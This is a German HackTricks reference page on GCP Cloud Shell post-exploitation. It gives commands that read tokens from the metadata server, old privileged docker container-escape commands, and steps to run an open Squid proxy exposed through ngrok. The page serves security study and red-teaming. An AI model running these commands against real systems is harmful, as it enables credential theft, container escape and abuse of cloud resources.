GCP - Cloud Shell Post Exploitation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cloud Shell

Weitere Informationen zu Cloud Shell:

GCP - Cloud Shell Enum

Benutzer-Token aus Metadaten abrufen

Durch einfachen Zugriff auf den Metadata-Server kann man einen Token erhalten, um Zugriff als der aktuell angemeldete Benutzer zu erhalten:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

Früher lief die cloud shell in einem Container mit Zugriff auf den docker socket des Hosts. Jetzt hat Google die Architektur geändert und der cloud shell-Container läuft in einem “Docker in a container”-Setup. Selbst wenn es möglich ist, docker aus der cloud shell zu verwenden, kannst du damit nicht über den docker socket auf den Host entkommen. Beachte, dass die Datei docker.sock früher unter /google/host/var/run/docker.sock lag, jetzt aber nach /run/docker.sock verschoben wurde.

Docker use / Alte container escape Befehle ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

Außerdem war es in der Vergangenheit möglich, ein Token für ein Service Account zu finden, das von der Cloud Shell VM im metadata server verwendet wurde:

Altes Service Account aus metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Mit den folgenden Scopes: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### Als Proxy verwenden

Wenn Sie Ihre google cloud shell Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder sie in die .bashrc-Datei einfügen):

<details>

<summary>Squid proxy installieren</summary>
```bash
sudo apt install -y squid

Zur Info: Squid ist ein HTTP-Proxy-Server. Erstelle eine Datei squid.conf mit den folgenden Einstellungen:

squid.conf-Datei erstellen ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

Kopiere die squid.conf-Datei nach /etc/squid

Konfiguration nach /etc/squid kopieren ```bash sudo cp squid.conf /etc/squid ```

Führe abschließend den squid-Dienst aus:

Squid-Dienst starten ```bash sudo service squid start ```

Verwende ngrok, damit der Proxy von außen erreichbar ist:

Proxy mit ngrok exponieren ```bash ./ngrok tcp 3128 ```

Nach dem Start kopiere die tcp:// URL. Wenn du den proxy aus einem browser betreiben möchtest, wird empfohlen, den tcp://-Teil und die Portangabe zu entfernen und den Port in das Port-Feld der Proxy-Einstellungen deines Browsers einzutragen (squid is a http proxy server).

Für eine bessere Nutzung beim Start sollte die .bashrc die folgenden Zeilen enthalten:

Zu .bashrc für automatischen Start hinzufügen ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

Die Anweisungen wurden von https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key kopiert. Sieh dir diese Seite für weitere verrückte Ideen an, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen.

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks